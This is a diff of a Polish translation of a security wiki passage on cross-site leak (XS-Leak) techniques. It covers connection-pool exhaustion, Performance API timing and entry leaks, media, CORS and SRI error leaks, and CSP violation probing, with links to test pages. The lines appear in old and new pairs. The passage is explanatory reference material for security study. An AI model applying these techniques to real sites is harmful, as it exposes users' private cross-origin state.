Znaczącą zaletą techniki mierzenia czasu wykonania poprzez blokowanie pętli zdarzeń jest jej potencjał do obejścia **Izolacji Stron**. **Izolacja Stron** to funkcja zabezpieczeń, która oddziela różne strony internetowe w osobnych procesach, mająca na celu zapobieganie bezpośredniemu dostępowi złośliwych stron do wrażliwych danych z innych stron. Jednak wpływając na czas wykonania innego źródła poprzez wspólną pętlę zdarzeń, atakujący może pośrednio wydobyć informacje o działaniach tego źródła. Ta metoda nie polega na bezpośrednim dostępie do danych innego źródła, lecz raczej obserwuje wpływ działań tego źródła na wspólną pętlę zdarzeń, omijając w ten sposób bariery ochronne ustanowione przez **Izolację Stron**.
> [!WARNING]
> W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.
@ -249,9 +249,9 @@ Znaczną zaletą techniki mierzenia czasu wykonania poprzez blokowanie pętli zd
### Pula połączeń
- **Metody włączenia**: Żądania JavaScript
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (ogólnie z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Podsumowanie:** Atakujący mógłby zablokować wszystkie gniazda oprócz 1, załadować stronę docelową i jednocześnie załadować inną stronę, czas do momentu, gdy ostatnia strona zaczyna się ładować, to czas, jaki zajęło załadowanie strony docelowej.
- **Podsumowanie:** Atakujący mógłby zablokować wszystkie gniazda oprócz 1, załadować stronę docelową i jednocześnie załadować inną stronę, czas do momentu, gdy ostatnia strona zacznie się ładować, to czas, jaki zajęło załadowanie strony docelowej.
- **Przykład kodu**:
{{#ref}}
@ -261,30 +261,30 @@ connection-pool-example.md
Przeglądarki wykorzystują gniazda do komunikacji z serwerem, ale z powodu ograniczonych zasobów systemu operacyjnego i sprzętu, **przeglądarki są zmuszone narzucać limit** na liczbę równoczesnych gniazd. Atakujący mogą wykorzystać to ograniczenie poprzez następujące kroki:
1. Ustalić limit gniazd przeglądarki, na przykład 256 globalnych gniazd.
2. Zajmować 255 gniazd przez dłuższy czas, inicjując 255 żądań do różnych hostów, zaprojektowanych w celu utrzymania połączeń otwartych bez ich zakończenia.
2. Zajmować 255 gniazd przez dłuższy czas, inicjując 255 żądań do różnych hostów, zaprojektowanych tak, aby utrzymać połączenia otwarte bez ich zakończenia.
3. Wykorzystać 256. gniazdo do wysłania żądania do strony docelowej.
4. Spróbować 257. żądania do innego hosta. Ponieważ wszystkie gniazda są zajęte (zgodnie z krokami 2 i 3), to żądanie będzie oczekiwać, aż gniazdo stanie się dostępne. Opóźnienie przed tym żądaniem dostarcza atakującemu informacji o czasie aktywności sieci związanej z 256. gniazdem (gniazdo strony docelowej). To wnioskowanie jest możliwe, ponieważ 255 gniazd z kroku 2 nadal są zajęte, co oznacza, że każde nowo dostępne gniazdo musi być tym zwolnionym z kroku 3. Czas, jaki zajmuje 256. gniazdu, aby stać się dostępnym, jest zatem bezpośrednio związany z czasem, jaki zajmuje zakończenie żądania do strony docelowej.
4. Spróbować wysłać 257. żądanie do innego hosta. Biorąc pod uwagę, że wszystkie gniazda są zajęte (zgodnie z krokami 2 i 3), to żądanie zostanie umieszczone w kolejce, aż gniazdo stanie się dostępne. Opóźnienie przed tym żądaniem dostarcza atakującemu informacji o czasie aktywności sieci związanej z 256. gniazdem (gniazdo strony docelowej). To wnioskowanie jest możliwe, ponieważ 255 gniazd z kroku 2 są nadal zajęte, co sugeruje, że każde nowo dostępne gniazdo musi być tym zwolnionym z kroku 3. Czas, jaki zajmuje 256. gniazdu, aby stać się dostępnym, jest zatem bezpośrednio związany z czasem potrzebnym na zakończenie żądania do strony docelowej.
Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
### Pula połączeń według celu
### Pula połączeń według docelowego
- **Metody włączenia**: Żądania JavaScript
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (ogólnie z powodu zawartości strony, kodu statusu)
- **Więcej informacji**:
- **Podsumowanie:** To jak poprzednia technika, ale zamiast używać wszystkich gniazd, Google **Chrome** nakłada limit **6 równoczesnych żądań do tego samego źródła**. Jeśli **zablokujemy 5** i następnie **uruchomimy 6.** żądanie, możemy **zmierzyć** czas, a jeśli uda nam się sprawić, aby **strona ofiary wysłała** więcej **żądań** do tego samego punktu końcowego, aby wykryć **status** **strony**, **6. żądanie** zajmie **więcej czasu** i możemy to wykryć.
- **Podsumowanie:** To jak poprzednia technika, ale zamiast używać wszystkich gniazd, Google **Chrome** nakłada limit **6 równoczesnych żądań do tego samego źródła**. Jeśli **zablokujemy 5** i następnie **uruchomimy 6.** żądanie, możemy **zmierzyć** czas, a jeśli uda nam się sprawić, że **strona ofiary wyśle** więcej **żądań** do tego samego punktu końcowego, aby wykryć **status** **strony**, **6. żądanie** zajmie **więcej czasu** i możemy to wykryć.
## Techniki API wydajności
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) oferuje wgląd w metryki wydajności aplikacji internetowych, dodatkowo wzbogacony przez [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API umożliwia monitorowanie szczegółowych czasów żądań sieciowych, takich jak czas trwania żądań. W szczególności, gdy serwery dołączają nagłówek `Timing-Allow-Origin: *` do swoich odpowiedzi, dodatkowe dane, takie jak rozmiar transferu i czas wyszukiwania domeny, stają się dostępne.
Te bogate dane można uzyskać za pomocą metod takich jak [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) lub [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), co zapewnia kompleksowy widok informacji związanych z wydajnością. Dodatkowo, API umożliwia pomiar czasów wykonania, obliczając różnicę między znacznikami czasu uzyskanymi z [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Warto jednak zauważyć, że dla niektórych operacji w przeglądarkach takich jak Chrome, precyzja `performance.now()` może być ograniczona do milisekund, co może wpłynąć na szczegółowość pomiarów czasowych.
Te bogate dane można uzyskać za pomocą metod takich jak [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) lub [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), co zapewnia kompleksowy widok informacji związanych z wydajnością. Dodatkowo, API umożliwia pomiar czasów wykonania, obliczając różnicę między znacznikami czasowymi uzyskanymi z [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Warto jednak zauważyć, że dla niektórych operacji w przeglądarkach takich jak Chrome, precyzja `performance.now()` może być ograniczona do milisekund, co może wpłynąć na szczegółowość pomiarów czasowych.
Poza pomiarami czasu, API wydajności można wykorzystać do uzyskania informacji związanych z bezpieczeństwem. Na przykład, obecność lub brak stron w obiekcie `performance` w Chrome może wskazywać na zastosowanie `X-Frame-Options`. W szczególności, jeśli strona jest zablokowana przed renderowaniem w ramce z powodu `X-Frame-Options`, nie zostanie zarejestrowana w obiekcie `performance`, co stanowi subtelny wskazówkę o politykach ramkowania strony.
Poza pomiarami czasu, API wydajności można wykorzystać do uzyskania informacji związanych z bezpieczeństwem. Na przykład, obecność lub brak stron w obiekcie `performance` w Chrome może wskazywać na zastosowanie `X-Frame-Options`. W szczególności, jeśli strona jest zablokowana przed renderowaniem w ramce z powodu `X-Frame-Options`, nie zostanie zarejestrowana w obiekcie `performance`, co stanowi subtelny wskazówkę na temat polityki ramkowania strony.
### Wyciek błędu
- **Metody włączenia**: Frames, HTML Elements
- **Metody włączenia**: Ramki, Elementy HTML
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Żądanie, które kończy się błędem, nie utworzy wpisu czasowego zasobów.
@ -294,17 +294,17 @@ Możliwe jest **rozróżnienie między kodami statusu odpowiedzi HTTP**, poniewa
### Błąd przeładowania stylu
- **Metody włączenia**: HTML Elements
- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Z powodu błędu przeglądarki, żądania, które kończą się błędami, są ładowane dwukrotnie.
- **Podsumowanie:** Z powodu błędu przeglądarki, żądania, które kończą się błędem, są ładowane dwukrotnie.
- **Przykład kodu**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
W poprzedniej technice zidentyfikowano również dwa przypadki, w których błędy przeglądarki w GC prowadzą do **ładowania zasobów dwukrotnie, gdy nie udaje się ich załadować**. To spowoduje wiele wpisów w API wydajności i może być zatem wykryte.
W poprzedniej technice zidentyfikowano również dwa przypadki, w których błędy przeglądarki w GC prowadzą do **ładowania zasobów dwukrotnie, gdy nie udaje się ich załadować**. To spowoduje wiele wpisów w API wydajności i może być wykryte.
### Błąd łączenia żądań
- **Metody włączenia**: HTML Elements
- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Żądania, które kończą się błędem, nie mogą być scalane.
@ -312,9 +312,9 @@ W poprzedniej technice zidentyfikowano również dwa przypadki, w których błę
Technika ta została znaleziona w tabeli w wspomnianym dokumencie, ale nie znaleziono opisu techniki. Możesz jednak znaleźć kod źródłowy sprawdzający to w [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Wycieki pustej strony
### Wyciek pustej strony
- **Metody włączenia**: Frames
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Puste odpowiedzi nie tworzą wpisów czasowych zasobów.
@ -322,19 +322,19 @@ Technika ta została znaleziona w tabeli w wspomnianym dokumencie, ale nie znale
Atakujący może wykryć, czy żądanie zakończyło się pustym ciałem odpowiedzi HTTP, ponieważ **puste strony nie tworzą wpisu wydajności w niektórych przeglądarkach**.
### **Wycieki XSS-Auditor**
### **Wyciek XSS-Auditor**
- **Metody włączenia**: Frames
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Używając XSS Audytora w Zabezpieczeniach Asercji, atakujący mogą wykrywać konkretne elementy stron internetowych, obserwując zmiany w odpowiedziach, gdy skonstruowane ładunki wyzwalają mechanizm filtrujący audytora.
- **Podsumowanie:** Używając XSS Audytora w Asercjach Bezpieczeństwa, atakujący mogą wykrywać konkretne elementy stron internetowych, obserwując zmiany w odpowiedziach, gdy skonstruowane ładunki wyzwalają mechanizm filtrujący audytora.
- **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
W Zabezpieczeniach Asercji (SA) XSS Audytor, pierwotnie zaprojektowany w celu zapobiegania atakom Cross-Site Scripting (XSS), może paradoksalnie być wykorzystywany do wycieku wrażliwych informacji. Chociaż ta wbudowana funkcja została usunięta z Google Chrome (GC), nadal jest obecna w SA. W 2013 roku Braun i Heiderich wykazali, że XSS Audytor mógł nieumyślnie blokować legalne skrypty, prowadząc do fałszywych pozytywów. Na tym tle badacze opracowali techniki wydobywania informacji i wykrywania konkretnych treści na stronach z innego źródła, koncepcji znanej jako XS-Leaks, pierwotnie zgłoszonej przez Teradę i rozwiniętej przez Heyesa w poście na blogu. Chociaż te techniki były specyficzne dla XSS Audytora w GC, odkryto, że w SA strony zablokowane przez XSS Audytora nie generują wpisów w API wydajności, ujawniając metodę, dzięki której wrażliwe informacje mogą być nadal wyciekane.
W Asercjach Bezpieczeństwa (SA) XSS Auditor, pierwotnie zaprojektowany w celu zapobiegania atakom Cross-Site Scripting (XSS), może paradoksalnie być wykorzystywany do wycieku wrażliwych informacji. Chociaż ta wbudowana funkcja została usunięta z Google Chrome (GC), nadal jest obecna w SA. W 2013 roku Braun i Heiderich wykazali, że XSS Auditor mógł nieumyślnie blokować legalne skrypty, prowadząc do fałszywych pozytywów. Na tym tle badacze opracowali techniki wydobywania informacji i wykrywania konkretnych treści na stronach z innego źródła, koncepcja znana jako XS-Leaks, pierwotnie zgłoszona przez Teradę i rozwinięta przez Heyesa w poście na blogu. Chociaż te techniki były specyficzne dla XSS Audytora w GC, odkryto, że w SA strony zablokowane przez XSS Audytora nie generują wpisów w API wydajności, ujawniając metodę, dzięki której wrażliwe informacje mogą być nadal wyciekane.
### Wycieki X-Frame
### Wyciek X-Frame
- **Metody włączenia**: Frames
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
- **Podsumowanie:** Zasób z nagłówkiem X-Frame-Options nie tworzy wpisu czasowego zasobów.
@ -345,7 +345,7 @@ To samo dotyczy użycia tagu **embed**.
### Wykrywanie pobierania
- **Metody włączenia**: Frames
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Pobrania nie tworzą wpisów czasowych zasobów w API wydajności.
@ -353,17 +353,17 @@ To samo dotyczy użycia tagu **embed**.
Podobnie jak w opisanym XS-Leak, **zasób, który jest pobierany** z powodu nagłówka ContentDisposition, również **nie tworzy wpisu wydajności**. Ta technika działa we wszystkich głównych przeglądarkach.
### Wycieki czasu rozpoczęcia przekierowania
### Wyciek czasu rozpoczęcia przekierowania
- **Metody włączenia**: Frames
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Przekierowanie
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Wpis czasowy zasobów ujawnia czas rozpoczęcia przekierowania.
- **Przykład kodu**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Znaleźliśmy jeden przypadek XS-Leak, który wykorzystuje zachowanie niektórych przeglądarek, które rejestrują zbyt wiele informacji dla żądań między źródłami. Standard definiuje podzbiór atrybutów, które powinny być ustawione na zero dla zasobów z innych źródeł. Jednak w **SA** możliwe jest wykrycie, czy użytkownik jest **przekierowywany** przez stronę docelową, zapytując API **Performance** i sprawdzając dane czasowe **redirectStart**.
Znaleźliśmy jeden przypadek XS-Leak, który wykorzystuje zachowanie niektórych przeglądarek, które rejestrują zbyt wiele informacji dla żądań z innego źródła. Standard definiuje podzbiór atrybutów, które powinny być ustawione na zero dla zasobów z innego źródła. Jednak w **SA** możliwe jest wykrycie, czy użytkownik jest **przekierowywany** przez stronę docelową, zapytując API **Performance** i sprawdzając dane czasowe **redirectStart**.
### Wycieki czasu trwania przekierowania
### Wyciek czasu trwania przekierowania
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Przekierowanie
@ -371,11 +371,11 @@ Znaleźliśmy jeden przypadek XS-Leak, który wykorzystuje zachowanie niektóryc
- **Podsumowanie:** Czas trwania wpisów czasowych jest ujemny, gdy występuje przekierowanie.
- **Przykład kodu**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
W GC, **czas trwania** dla żądań, które kończą się **przekierowaniem**, jest **ujemny** i można go zatem **rozróżnić** od żądań, które nie kończą się przekierowaniem.
W GC, **czas trwania** dla żądań, które kończą się **przekierowaniem**, jest **ujemny** i można go **rozróżnić** od żądań, które nie kończą się przekierowaniem.
### Wycieki CORP
### Wyciek CORP
- **Metody włączenia**: Frames
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Zasób chroniony przez CORP nie tworzy wpisów czasowych zasobów.
@ -385,15 +385,15 @@ W niektórych przypadkach, **wpis nextHopProtocol** może być użyty jako techn
### Service Worker
- **Metody włączenia**: Frames
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
- **Podsumowanie:** Wykrywanie, czy zarejestrowano service workera dla konkretnego źródła.
- **Podsumowanie:** Wykrywanie, czy zarejestrowano service worker dla konkretnego źródła.
- **Przykład kodu**:
Service workery to konteksty skryptowe oparte na zdarzeniach, które działają w danym źródle. Działają w tle strony internetowej i mogą przechwytywać, modyfikować i **buforować zasoby**, aby tworzyć aplikacje internetowe offline.\
Jeśli **zasób buforowany** przez **service workera** jest dostępny przez **iframe**, zasób zostanie **załadowany z pamięci podręcznej service workera**.\
Aby wykryć, czy zasób został **załadowany z pamięci podręcznej service workera**, można użyć **API wydajności**.\
Service worker to kontekst skryptowy wyzwalany zdarzeniami, który działa w danym źródle. Działa w tle strony internetowej i może przechwytywać, modyfikować i **buforować zasoby**, aby stworzyć offline'ową aplikację internetową.\
Jeśli **zasób buforowany** przez **service worker** jest dostępny przez **iframe**, zasób zostanie **załadowany z pamięci podręcznej service worker**.\
Aby wykryć, czy zasób został **załadowany z pamięci podręcznej service worker**, można użyć **API wydajności**.\
Można to również zrobić za pomocą ataku czasowego (sprawdź dokument, aby uzyskać więcej informacji).
### Pamięć podręczna
@ -404,7 +404,7 @@ Można to również zrobić za pomocą ataku czasowego (sprawdź dokument, aby u
- **Podsumowanie:** Możliwe jest sprawdzenie, czy zasób został zapisany w pamięci podręcznej.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
Korzystając z [API wydajności](./#performance-api), możliwe jest sprawdzenie, czy zasób jest buforowany.
Korzystając z [API wydajności](#performance-api), możliwe jest sprawdzenie, czy zasób jest buforowany.
### Czas trwania sieci
@ -418,10 +418,10 @@ Korzystając z [API wydajności](./#performance-api), możliwe jest sprawdzenie,
### Błąd mediów
- **Metody włączenia**: HTML Elements (Wideo, Audio)
- **Metody włączenia**: Elementy HTML (Wideo, Audio)
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
- **Podsumowanie:** W Firefoxie możliwe jest dokładne wycieknięcie kodu statusu żądania z innego źródła.
- **Podsumowanie:** W Firefoxie możliwe jest dokładne wyciekanie kodu statusu żądania z innego źródła.
- **Przykład kodu**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
@ -477,20 +477,20 @@ Interfejs `MediaError` ma właściwość message, która unikalnie identyfikuje
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Podsumowanie:** W Security Assertions (SA) komunikaty o błędach CORS nieumyślnie ujawniają pełny adres URL przekierowanych żądań.
- **Podsumowanie:** W Security Assertions (SA) komunikaty o błędach CORS niezamierzenie ujawniają pełny adres URL przekierowanych żądań.
- **Przykład kodu**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Ta technika umożliwia atakującemu **wyodrębnienie celu przekierowania z witryny z innego źródła** poprzez wykorzystanie sposobu, w jaki przeglądarki oparte na Webkit obsługują żądania CORS. Konkretnie, gdy **żądanie z włączonym CORS** jest wysyłane do docelowej witryny, która wydaje przekierowanie w oparciu o stan użytkownika, a przeglądarka następnie odrzuca żądanie, **pełny adres URL celu przekierowania** jest ujawniany w komunikacie o błędzie. Ta podatność nie tylko ujawnia fakt przekierowania, ale także ujawnia punkt końcowy przekierowania oraz wszelkie **wrażliwe parametry zapytania**, które mogą zawierać.
Ta technika umożliwia atakującemu **wyodrębnienie celu przekierowania z witryny z innego źródła** poprzez wykorzystanie sposobu, w jaki przeglądarki oparte na Webkit obsługują żądania CORS. Konkretnie, gdy **żądanie z włączonym CORS** jest wysyłane do docelowej witryny, która wydaje przekierowanie na podstawie stanu użytkownika, a przeglądarka następnie odrzuca żądanie, **pełny adres URL celu przekierowania** jest ujawniany w komunikacie o błędzie. Ta podatność nie tylko ujawnia fakt przekierowania, ale także ujawnia punkt końcowy przekierowania oraz wszelkie **wrażliwe parametry zapytania**, które mogą zawierać.
### Błąd SRI
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Podsumowanie:** W Security Assertions (SA) komunikaty o błędach CORS nieumyślnie ujawniają pełny adres URL przekierowanych żądań.
- **Podsumowanie:** W Security Assertions (SA) komunikaty o błędach CORS niezamierzenie ujawniają pełny adres URL przekierowanych żądań.
- **Przykład kodu**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
Atakujący może wykorzystać **szczegółowe komunikaty o błędach**, aby dedukować rozmiar odpowiedzi z innego źródła. Jest to możliwe dzięki mechanizmowi Subresource Integrity (SRI), który używa atrybutu integralności do weryfikacji, że pobrane zasoby, często z CDN, nie zostały zmodyfikowane. Aby SRI działało na zasobach z innego źródła, muszą być **włączone CORS**; w przeciwnym razie nie podlegają kontrolom integralności. W Security Assertions (SA), podobnie jak w przypadku błędu CORS XS-Leak, komunikat o błędzie może być przechwycony po nieudanym żądaniu fetch z atrybutem integralności. Atakujący mogą celowo **wywołać ten błąd**, przypisując **fałszywą wartość hasha** do atrybutu integralności dowolnego żądania. W SA wynikowy komunikat o błędzie nieumyślnie ujawnia długość zawartości żądanego zasobu. Ta utrata informacji pozwala atakującemu dostrzec różnice w rozmiarze odpowiedzi, torując drogę do zaawansowanych ataków XS-Leak.
Atakujący może wykorzystać **szczegółowe komunikaty o błędach**, aby dedukować rozmiar odpowiedzi z innego źródła. Jest to możliwe dzięki mechanizmowi Subresource Integrity (SRI), który wykorzystuje atrybut integralności do weryfikacji, że pobrane zasoby, często z CDN, nie zostały zmodyfikowane. Aby SRI działało na zasobach z innego źródła, muszą być **włączone CORS**; w przeciwnym razie nie podlegają kontrolom integralności. W Security Assertions (SA), podobnie jak w przypadku błędu CORS XS-Leak, komunikat o błędzie może być przechwycony po niepowodzeniu żądania fetch z atrybutem integralności. Atakujący mogą celowo **wywołać ten błąd**, przypisując **fałszywą wartość hasha** do atrybutu integralności dowolnego żądania. W SA wynikowy komunikat o błędzie niezamierzenie ujawnia długość zawartości żądanego zasobu. Ta utrata informacji pozwala atakującemu dostrzec różnice w rozmiarze odpowiedzi, otwierając drogę do zaawansowanych ataków XS-Leak.
### Naruszenie/Wykrywanie CSP
@ -500,7 +500,7 @@ Atakujący może wykorzystać **szczegółowe komunikaty o błędach**, aby dedu
- **Podsumowanie:** Zezwalając tylko na witrynę ofiary w CSP, jeśli próbuje przekierować na inna domenę, CSP wywoła wykrywalny błąd.
- **Przykład kodu**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
XS-Leak może wykorzystać CSP do wykrycia, czy witryna z innego źródła została przekierowana do innego pochodzenia. Ta utrata informacji może wykryć przekierowanie, ale dodatkowo ujawnia domenę celu przekierowania. Podstawowa idea tego ataku polega na **zezwoleniu na domenę docelową na stronie atakującego**. Gdy żądanie jest wysyłane do domeny docelowej, **przekierowuje** do domeny z innego źródła. **CSP blokuje** dostęp do niej i tworzy **raport naruszenia używany jako technika wycieku**. W zależności od przeglądarki, **ten raport może ujawniać lokalizację celu przekierowania**.\
XS-Leak może wykorzystać CSP do wykrycia, czy witryna z innego źródła została przekierowana do innego źródła. Ta utrata informacji może wykryć przekierowanie, ale dodatkowo ujawnia domenę celu przekierowania. Podstawowa idea tego ataku polega na **zezwoleniu na domenę docelową na stronie atakującego**. Gdy żądanie jest wysyłane do domeny docelowej, **przekierowuje** do domeny z innego źródła. **CSP blokuje** dostęp do niej i tworzy **raport naruszenia używany jako technika wycieku**. W zależności od przeglądarki **ten raport może ujawniać lokalizację celu przekierowania**.\
Nowoczesne przeglądarki nie wskażą adresu URL, na który zostało przekierowane, ale nadal można wykryć, że przekierowanie z innego źródła zostało wywołane.
### Cache
@ -513,7 +513,7 @@ Nowoczesne przeglądarki nie wskażą adresu URL, na który zostało przekierowa
Przeglądarki mogą używać jednej wspólnej pamięci podręcznej dla wszystkich witryn. Niezależnie od ich pochodzenia, możliwe jest ustalenie, czy strona docelowa **zażądała konkretnego pliku**.
Jeśli strona ładuje obraz tylko wtedy, gdy użytkownik jest zalogowany, można **unieważnić** **zasób** (aby nie był już w pamięci podręcznej, jeśli był, zobacz więcej informacji w linkach), **wykonać żądanie**, które mogłoby załadować ten zasób i spróbować załadować zasób **z błędnym żądaniem** (np. używając zbyt długiego nagłówka referera). Jeśli załadunek zasobu **nie wywołał żadnego błędu**, to dlatego, że był **w pamięci podręcznej**.
Jeśli strona ładuje obraz tylko wtedy, gdy użytkownik jest zalogowany, można **unieważnić** **zasób** (aby nie był już pamiętany, jeśli był, zobacz więcej informacji w linkach), **wykonać żądanie**, które mogłoby załadować ten zasób i spróbować załadować zasób **z błędnym żądaniem** (np. używając zbyt długiego nagłówka referera). Jeśli załadunek zasobu **nie wywołał żadnego błędu**, to dlatego, że był **pamiętany**.
### Dyrektywa CSP
@ -523,17 +523,17 @@ Jeśli strona ładuje obraz tylko wtedy, gdy użytkownik jest zalogowany, można
- **Podsumowanie:** Dyrektywy nagłówka CSP mogą być badane za pomocą atrybutu iframe CSP, ujawniając szczegóły polityki.
- **Przykład kodu**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Nowa funkcja w Google Chrome (GC) pozwala stronom internetowym na **proponowanie polityki bezpieczeństwa treści (CSP)** poprzez ustawienie atrybutu na elemencie iframe, z dyrektywami polityki przesyłanymi wraz z żądaniem HTTP. Zwykle osadzone treści muszą **autoryzować to za pomocą nagłówka HTTP**, w przeciwnym razie **wyświetlana jest strona błędu**. Jednak jeśli iframe jest już regulowany przez CSP, a nowo zaproponowana polityka nie jest bardziej restrykcyjna, strona załadowana zostanie normalnie. Ten mechanizm otwiera drogę dla atakującego do **wykrycia konkretnych dyrektyw CSP** strony z innego źródła, identyfikując stronę błędu. Chociaż ta podatność została oznaczona jako naprawiona, nasze ustalenia ujawniają **nową technikę wycieku**, zdolną do wykrywania strony błędu, sugerując, że podstawowy problem nigdy nie został w pełni rozwiązany.
Nowa funkcja w Google Chrome (GC) pozwala stronom internetowym na **proponowanie Polityki Bezpieczeństwa Treści (CSP)** poprzez ustawienie atrybutu na elemencie iframe, z dyrektywami polityki przesyłanymi wraz z żądaniem HTTP. Zwykle osadzone treści muszą **autoryzować to za pomocą nagłówka HTTP**, w przeciwnym razie **wyświetlana jest strona błędu**. Jednak jeśli iframe jest już regulowany przez CSP, a nowo zaproponowana polityka nie jest bardziej restrykcyjna, strona załadowana zostanie normalnie. Ten mechanizm otwiera drogę dla atakującego do **wykrycia konkretnych dyrektyw CSP** strony z innego źródła, identyfikując stronę błędu. Chociaż ta podatność została oznaczona jako naprawiona, nasze ustalenia ujawniają **nową technikę wycieku**, zdolną do wykrywania strony błędu, sugerując, że podstawowy problem nigdy nie został w pełni rozwiązany.
### **CORP**
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
- **Podsumowanie:** Zasoby zabezpieczone polityką zasobów z innego źródła (CORP) zgłoszą błąd, gdy będą pobierane z niedozwolonego pochodzenia.
- **Podsumowanie:** Zasoby zabezpieczone Polityką Zasobów Z Innego Źródła (CORP) zgłoszą błąd, gdy będą pobierane z niedozwolonego źródła.
- **Przykład kodu**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
